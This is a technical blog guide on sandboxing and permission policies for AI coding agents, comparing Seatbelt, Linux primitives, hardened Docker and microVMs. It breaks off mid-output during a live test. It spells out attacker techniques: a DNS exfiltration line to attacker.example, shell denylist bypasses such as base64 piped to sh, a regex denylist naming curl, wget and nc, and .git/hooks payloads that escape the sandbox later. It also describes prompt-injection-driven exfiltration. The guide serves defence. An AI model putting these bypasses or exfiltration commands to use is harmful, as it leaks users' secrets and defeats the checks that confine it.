Sandboxing and permission policies for AI coding agents A technical guide by Flavio argues that shell denylists and per-command approval prompts fail as coding-agent safeguards because agents can fire roughly thirty tool calls in two minutes, training users to approve on autopilot, and because commands like `npm test` or `git diff` can spawn arbitrary child processes from `package.json`, `node_modules`, and `.git/config`. The guide recommends splitting safety into two layers — a harness-level permission policy that gates tools and arguments, and an OS-level sandbox (macOS Seatbelt, Docker, or microVMs) that limits what launched processes can touch — and reports a live 5-probe boundary suite comparing an unsandboxed macOS host, macOS Seatbelt, and hardened Docker 29.1.3. Sandboxing and permission policies for AI coding agents By Flavio https://flaviocopes.com/about/ Tagged: AI https://flaviocopes.com/tags/ai/ Why shell denylists and approval prompts fail, how macOS Seatbelt, Docker, and microVMs isolate coding agents, and live 5-probe boundary tests. You launch a coding agent in a project folder and ask it to fix a broken integration test. First it asks to run rg , and you hit Enter. Then it asks to run npm test , and you hit Enter again. Ten minutes later, it has prompted you twenty-four times. When a three-line shell pipeline pops up in the terminal, your thumb hits Enter before your eyes finish reading the first flag. That moment is where most coding-agent security setups quietly fall apart. Once you start clicking approve on autopilot, a confirmation dialog stops protecting you. Even worse, many tools try to patch the gap with a regex denylist that blocks rm -rf or cat .env , while leaving python3 -c , node -e , and git wide open inside the same shell. In this guide, I’ll show you how to confine a coding agent with both permission modes https://flaviocopes.com/ai-glossary/permission-modes/ and real OS-level sandboxes https://flaviocopes.com/ai-glossary/sandbox/ . We’ll separate harness rules from kernel enforcement, compare the main isolation tiers on macOS and Linux, and look at filesystem and network traps like .git/hooks . Then we’ll run a live 5-probe boundary suite comparing an unsandboxed macOS host, macOS Seatbelt, and hardened Docker 29.1.3 . Why approval prompts fail in practice Asking a human to approve every shell command sounds safe on paper. In a real coding session, the math turns against you right away. A modern coding agent can fire off thirty tool calls in two minutes. Reading a shell command carefully, checking what files it touches, and thinking through its side effects takes fifteen or twenty seconds. If you review every call properly, you lose the speed advantage of using an agent. If you match the agent’s pace, you stop reading. Even when you stay alert, the command string on screen hides most of what is about to run. Take a routine prompt asking to run npm test . That two-word command looks harmless, right? Behind it sit the scripts entries in package.json , every test helper in the repository, and every postinstall or native binary inside node modules . It also inherits the environment variables from your shell. If the agent edited a test setup file two turns ago, or if you just checked out an untrusted pull request, approving npm test hands over your entire user account. The same applies to make check , pytest , cargo test , and even git diff . Git can invoke external diff drivers, credential helpers, and filesystem monitors configured inside .git/config . Reviewing the top-level command tells you which binary starts first, and almost nothing about the child processes it spawns. Approval prompts still have a great place in your workflow. They work well for rare, high-consequence actions like deploying a service, pushing a release tag, or running a database migration against staging. When prompts fire fifty times an hour for normal build and test loops, you train yourself to click yes. The better fix is to shrink what the running process can touch, so routine commands don’t need a prompt at all. Separating permission policies from sandboxes A solid coding-agent setup splits safety into two separate layers that solve different problems. The first layer is the permission policy , which lives inside the agent harness the CLI, editor extension, or orchestrator talking to the model . The harness picks which tools appear in the model’s schema, checks arguments before running a call, enforces read-only or allowlisted modes, and decides which actions need human sign-off. The second layer is the sandbox , which lives below the harness inside the OS kernel, a container runtime, or a hypervisor. Once the harness launches a shell command, test runner, or build script, the sandbox limits what that process and its child processes can read, write, execute, or reach over the network. Mixing these two layers up leads to brittle setups. If you rely only on a permission policy, any approved command runs with your full user privileges. Approve pytest once, and the test process can read ~/.ssh/id ed25519 , inspect ~/.aws/credentials , write to ~/.zshrc , or send an outbound HTTP POST with your .env contents. The harness never sees those file reads because Python makes them directly inside the test process instead of sending separate tool calls. If you rely only on a sandbox, the kernel still can’t judge intent inside the allowed boundary. A sandbox that lets the agent write to your working directory will still let it delete uncommitted work or corrupt a local SQLite database. Similarly, a sandbox that allows outbound HTTPS to GitHub so the agent can push a branch will also let it force-push or open twenty noisy pull requests if the token allows it. Here is how the two layers work together when a tool call runs: Putting both layers in place gives each one a clear job. The harness controls what actions the model is allowed to request . The sandbox limits what the operating system lets the resulting process tree do , even if the model makes a mistake, hits a prompt injection, or runs hostile dependency code. Isolation tiers compared When people say “run the agent in a sandbox”, they might mean a 15-millisecond kernel profile on your laptop or a disposable cloud virtual machine. Picking the right tier depends on startup cost, OS support, whether the agent needs extra services like Postgres, and how much you trust the repository. macOS Seatbelt sandbox-exec On macOS, the kernel includes a Mandatory Access Control framework commonly called Seatbelt. The sandbox-exec command launches any process under a Scheme-like .sb policy file that restricts file reads, file writes, process execution, and network sockets. Seatbelt’s biggest advantage is speed and ergonomics. In my probes later in this post, wrapping a command in sandbox-exec took 14 to 20 milliseconds total, compared to 7 to 11 milliseconds on the bare host. Your agent keeps using native macOS compilers, the Swift toolchain, your Node runtime, and local file paths. There is zero VM boot time and zero bind-mount sync lag. Two caveats apply when you build on Seatbelt: 1. Shared host kernel : The sandboxed process shares your macOS host kernel, so you get a strong application boundary instead of hardware virtualization. 2. CLI deprecation : Apple marked the sandbox-exec CLI tool as deprecated years ago, even though macOS itself and several modern coding-agent harnesses still rely on the underlying Seatbelt kernel subsystem sandbox init . In practice, Seatbelt policies work reliably on current macOS releases as long as you write your path rules carefully and verify them with real probes. Linux namespaces, seccomp-BPF, and Landlock On Linux, you get modular kernel primitives that you can combine without running a full container daemon. Namespaces unshare , clone isolate what a process can see: - Mount namespaces hide host directories - PID namespaces hide other processes - Network namespaces cut off host network interfaces - User namespaces map a non-root user inside the sandbox without granting root outside Tools like bubblewrap bwrap wrap these namespaces into a tiny CLI that starts in a few milliseconds. seccomp-BPF adds syscall filtering on top. You attach a BPF filter that blocks dangerous system calls like ptrace , mount , bpf , or keyctl , shrinking the kernel attack surface available to the sandboxed process. Landlock available since Linux 5.13, with TCP restrictions added in newer kernels lets an unprivileged process lock down its own filesystem and network rules before calling execve . Since Landlock needs no root privileges and no setuid binary, agent harnesses can apply it inside a child process right before running a shell command. Hardened Docker containers Containers combine Linux namespaces, cgroups CPU, memory, and PID caps , and filesystem images into a repeatable runtime. If you want to review the basics, my free Docker Handbook https://flaviocopes.com/ebooks/docker-handbook/ covers images, volumes, and networking from scratch. A default docker run command is nowhere near a hardened sandbox. Out of the box, a container gets full outbound internet access, a writable root filesystem, a root user inside the container, and a default set of Linux capabilities. Hardening it takes explicit flags: --network none , --read-only , --cap-drop ALL , --security-opt no-new-privileges , a non-root --user , memory and PID limits, and mounting only the project directory. On Linux, Docker containers share the host kernel. On macOS, Docker Desktop runs containers inside a lightweight Linux virtual machine, which puts a virtualization layer between the container and your Mac. The tradeoff is cold-start latency, around 140 to 200 milliseconds per one-off docker run in our probes. You also can’t run macOS-only tools like Xcode inside a Linux image. If you keep one long-lived hardened container running for the whole session and send commands via docker exec , per-command overhead drops close to native speed. MicroVMs and cloud sandboxes MicroVMs give each agent session its own guest kernel, virtual block device, and virtual network interface. Examples include Firecracker on Linux, Apple’s Virtualization framework on macOS, and hosted services like Vercel Sandbox https://flaviocopes.com/vercel-sandbox/ and Docker Sandboxes https://flaviocopes.com/docker-coding-agent/ . Giving an agent a full microVM solves two problems containers struggle with. First, a kernel bug inside the guest stays trapped in that disposable VM and never touches the host kernel or neighboring workloads. Second, the agent can run its own Docker Engine, start Postgres or Redis via Compose, and install system packages. When it finishes, you tear the whole machine down without touching your laptop. The cost is memory, disk space, and slightly heavier setup. Spinning up a warm microVM snapshot takes a few hundred milliseconds to a couple of seconds, and pulling fresh images into a brand-new VM takes longer the first time. MicroVMs shine for unattended runs, multi-service debugging, and untrusted repositories, while local OS sandboxes stay faster for quick interactive edits. Here is how the four tiers compare: | Isolation tier | Typical startup | Filesystem isolation | Kernel boundary | Network control | Platform support | Best fit | |---|---|---|---|---|---|---| | macOS Seatbelt sandbox-exec | 14 to 20 ms | Rule-based path allow/deny on host FS | Shared host kernel | Block all outbound or proxy via localhost | macOS only | Fast interactive local edits and native macOS toolchains | | Linux bwrap + seccomp + Landlock | 10 to 30 ms | Mount namespace + Landlock rules | Shared host kernel | Isolated netns or proxy | Linux only | Local Linux dev boxes and lightweight CI runners | | Hardened Docker container | 140 to 200 ms cold exec < 30 ms | Dedicated rootfs + explicit volume mounts | Shared kernel on Linux; Linux VM on macOS | --network none or isolated bridge/proxy | macOS, Linux, Windows | Repeatable Linux toolchains, untrusted scripts, clean isolation | | MicroVM Firecracker / Apple Virt / cloud | 200 ms to 2 s | Ephemeral virtual disk + clone/mount | Separate guest kernel | Virtual NIC + host/cloud egress proxy | Cloud Linux, macOS Apple Virt | Unattended agents, Docker-in-Docker, untrusted repos | Filesystem boundaries and the traps people miss Most engineers start designing a sandbox with one obvious rule: allow writes only inside the project directory, and deny writes everywhere else. That stops an agent from overwriting ~/.zshrc or dropping files in /usr/local/bin , which is a strong first step. Reads are much harder to lock down than writes. Every time a sandboxed shell runs node , python3 , git , or sh , it has to read shared libraries under /usr/lib or /System/Library , dynamic linker caches, locale data, and timezone files. It also reads CA certificates in /etc/ssl and runtime binaries in /opt/homebrew or /usr/local . If you switch to a strict default-deny read policy on a host OS without a container rootfs, half your toolchain breaks on missing library loads until you maintain a long allowlist. Host-level OS profiles like Seatbelt therefore often start with allow default for reads and explicitly deny sensitive trees. Containers and VMs flip the model cleanly: the container starts with an empty filesystem holding only the base Linux image and the single workspace directory you mount in. Credential stores hiding in your home directory When a sandboxed process shares your host filesystem, you have to explicitly block every folder where developer credentials live. The usual list starts with ~/.ssh and ~/.aws , and it grows fast once we check a real workstation: - ~/.ssh private keys and config host aliases - ~/.aws , ~/.config/gcloud , ~/.azure cloud credentials and session tokens - ~/.config/gh , ~/.git-credentials , ~/.netrc GitHub and HTTP tokens - ~/.npmrc , ~/.pypirc , ~/.cargo/credentials.toml , ~/.docker/config.json package registry auth - ~/.kube/config cluster credentials - Browser profile directories saved cookies and local storage - macOS Keychain databases and Unix sockets like SSH AUTH SOCK or /var/run/docker.sock Look closely at that last bullet. Even if you deny reads on ~/.ssh , leaving SSH AUTH SOCK in the child environment lets the sandboxed process ask your running ssh-agent to sign challenges on its behalf. Mounting /var/run/docker.sock into a container is even worse, because it hands the agent root-equivalent control over your host Docker daemon. Always scrub inherited environment variables and strip agent sockets before launching the sandbox. The workspace .env problem Suppose you lock down every directory in $HOME and mount only the current repository into a hardened container. You still have a leak if your project folder contains .env , .env.local , or a downloaded production SQLite backup. Because those files sit inside the workspace mount, the agent can read them directly. As I covered in how to protect secrets when coding agents deploy your app https://flaviocopes.com/agent-deploy-secrets/ , .gitignore only tells Git what to skip during commits. It does nothing to stop a shell command or test runner from reading .env . Inside Docker, you can mask a local .env file without deleting it from your host by mounting /dev/null or a sanitized .env.sandbox file with dummy values right over it: docker run --rm \ --network none \ --read-only \ --cap-drop ALL \ --security-opt no-new-privileges \ -v "$ pwd ":/work:rw \ -v /dev/null:/work/.env:ro \ -w /work \ alpine:3.20 sh -c 'cat /work/.env' Inside the container, /work/.env shows up as an empty read-only file, while your real .env on the host stays untouched. For Seatbelt on macOS, add an explicit deny file-read literal "/path/to/repo/.env" rule for every secret file living inside the repo. Symlinks and canonical paths on macOS A subtle bug bites almost everyone who writes their first Seatbelt profile on macOS. On macOS, /tmp is a symbolic link to /private/tmp , and /var is a symbolic link to /private/var . Seatbelt evaluates path rules against resolved canonical paths in the kernel, so a profile like this will silently fail: deny file-write subpath "/" allow file-write subpath "/tmp/my-agent-workspace" Every write to /tmp/my-agent-workspace/test.txt fails with Operation not permitted . The kernel resolves that path to /private/tmp/my-agent-workspace/test.txt before checking the allow rule, so the rule never matches. Always resolve workspace paths with fs.realpathSync or realpath in the shell before generating a sandbox profile. Symlinks inside the workspace matter too. If a host-mounted workspace contains a symlink pointing to /etc/passwd or ~/.ssh/id rsa , a host-level OS sandbox must evaluate the target path Seatbelt does . A container mount namespace naturally breaks host-pointing symlinks because the target doesn’t exist inside the container. The .git/hooks write-to-exec trap Here is the filesystem escape that catches even experienced security engineers. Picture a tight sandbox where the agent can’t read ~/.ssh , can’t write outside /path/to/repo , and has zero network access. It finishes its work and exits cleanly. Now you sit back down at your normal, unsandboxed terminal to inspect the diff. You run git status or git checkout -b review . If the agent had write access to .git/ inside the workspace, it could skip escaping the sandbox altogether and just wait for you to run code on its behalf later. An agent with write permission to .git/ can drop a shell script into .git/hooks/post-checkout or .git/hooks/pre-commit . It can also append fsmonitor = /path/to/payload.sh or sshCommand = ... to .git/config . The next time you run a routine Git command on your host machine, Git reads .git/config and runs that hook outside the sandbox. That payload now executes with your full host permissions, SSH keys, cloud tokens, and open internet connection. Here is how that write-to-exec chain plays out: Git metadata is just the most common case of this pattern. Anything in the workspace that your editor or shell auto-executes on the host carries the same risk: .vscode/tasks.json , .envrc if you use direnv , .gitattributes filter drivers, and package.json scripts you run locally before reviewing the diff. We can close the .git/ trap in two clean ways: - Protect .git/ in a direct mount : Mark .git/hooks and .git/config read-only inside the sandbox using a Seatbelt deny rule or read-only Docker bind mounts over those paths. - Use a clone-based sandbox : For untrusted or unattended tasks, let the agent work on a separate clone inside its container or VM, then fetch only the Git commits back to your host repo. Why does git fetch help so much here? Because it transfers commit objects, trees, and blobs, and never copies .git/hooks or .git/config from the remote clone. Network egress control: closing the exfiltration path Filesystem isolation limits what an agent can read. Network isolation limits whether anything it reads can leave the machine. Think about what happens during a normal coding task. Even when you hide ~/.ssh and ~/.aws , the agent still reads your proprietary source code, test fixtures, internal API URLs, and maybe a local staging database dump. If the sandbox has unrestricted outbound internet access, a single prompt injection hidden in a dependency README or GitHub issue can tell the model to Base64-encode a file and send it out. That exfiltration works through curl , Python’s urllib , or even a DNS query like $ base64 -w0 secret .attacker.example . Cutting raw internet access from the sandbox breaks that entire exfiltration path. You have two clean ways to set it up. Air-gapped execution The simplest and strongest setup is zero network access: deny network-outbound in Seatbelt, or --network none in Docker. With --network none , the container gets only a loopback interface 127.0.0.1 , with no external NIC, no default route, and no reachable DNS server. Your tests can still spin up a local HTTP server on 127.0.0.1:3000 and hit it from Playwright or fetch . Every attempt to reach the public internet fails at the kernel or resolver layer. Air-gapped execution works smoothly if you split your workflow into two phases. Fetch dependencies first npm ci , pip install , cargo fetch while the environment has registry access, or pre-bake them into a base image. Then launch the coding agent offline to edit code and run tests against the local cache. Domain-allowlist HTTP proxy Sometimes an agent genuinely needs limited network access during a session, such as installing a missing npm package, reading documentation, or calling a specific test API. Instead of giving the sandbox a direct route to the internet, keep its network isolated with no direct outbound TCP/UDP and no raw DNS. Then expose a single host-side HTTP/HTTPS proxy through a dedicated bridge or Unix socket. Have the proxy enforce an explicit domain allowlist: - Allow registry.npmjs.org and pypi.org for package installs - Deny everything else by default, including raw IP addresses and private LAN ranges 10.0.0.0/8 , 169.254.169.254 , 192.168.0.0/16 - Log every destination hostname, HTTP method, and response status outside the sandbox where the agent can’t tamper with the log Blocking private IP ranges and cloud metadata endpoints 169.254.169.254 matters even more on cloud VMs and CI runners. On those hosts, an open outbound route lets a sandbox query instance metadata and steal temporary IAM credentials. Domain allowlists still have one edge case. If you allow a multi-tenant platform like api.github.com or gist.github.com and the agent holds a token or hits a public upload endpoint, data can still leave to an attacker-controlled repo or gist on that allowed domain. Keep tokens out of the sandboxed process, or place credentials inside a narrow host-side proxy that injects auth headers only for specific repositories and routes. Why shell denylists always fail and a live bypass When teams add a shell tool to a coding agent, their first instinct is almost always a command denylist. They write a regex that blocks rm -rf , sudo , cat , head , tail , curl , wget , nc , and .ssh . On paper it looks reassuring. In practice, a string denylist in front of a general-purpose shell breaks against even a basic bypass. Any developer machine comes packed with Turing-complete interpreters and tools that run arbitrary code or read arbitrary files. Here is why string matching loses every time: - Interpreters : python3 -c , node -e , ruby -e , and perl -e can read any file, delete directories recursively, and open raw TCP sockets without ever mentioning cat , rm , or curl . - Shell indirection : echo Y2F0IC5lbnY= | base64 -d | sh , variable concatenation a=ca; b=t; $a$b .env , and glob expansion cat .e?v hide blocked strings from a regex check effortlessly. - Hidden execution flags : “Safe” developer tools like git -c core.fsmonitor='sh -c ...' status , find . -exec ... , awk 'BEGIN { system ... }' , tar --checkpoint-action=exec=... , and make all execute arbitrary commands behind an innocent binary name. Instead of arguing in the abstract, I tested a real bypass on my Mac alongside the sandbox lab. Suppose a harness runs a naive regex denylist blocking cat , head , tail , less , curl , wget , rm -rf , and .ssh : js const naiveDenylist = /\b cat|head|tail|less|more|curl|wget|nc|ssh|scp|sudo \b|rm\s+-rf|\.ssh/i const command = 'python3 -c "import pathlib; print pathlib.Path \'/tmp/ai-post-labs/agent-sandboxing-permissions/fake-secret.env\' .read text .strip "' console.log 'passes naive denylist:', naiveDenylist.test command That Python one-liner doesn’t contain a single blocked word from the regex. Here is what happened when I ran that command against the regex check, on the unsandboxed macOS host, and inside our macOS Seatbelt profile: python Command: python3 -c "import pathlib; print pathlib.Path '/tmp/ai-post-labs/agent-sandboxing-permissions/fake-secret.env' .read text .strip " passes naive denylist: true Host 29ms, exit 0 : DEMO SECRET TOKEN=dummy value not real 12345 Seatbelt 56ms, exit 1 : Traceback most recent call last : File "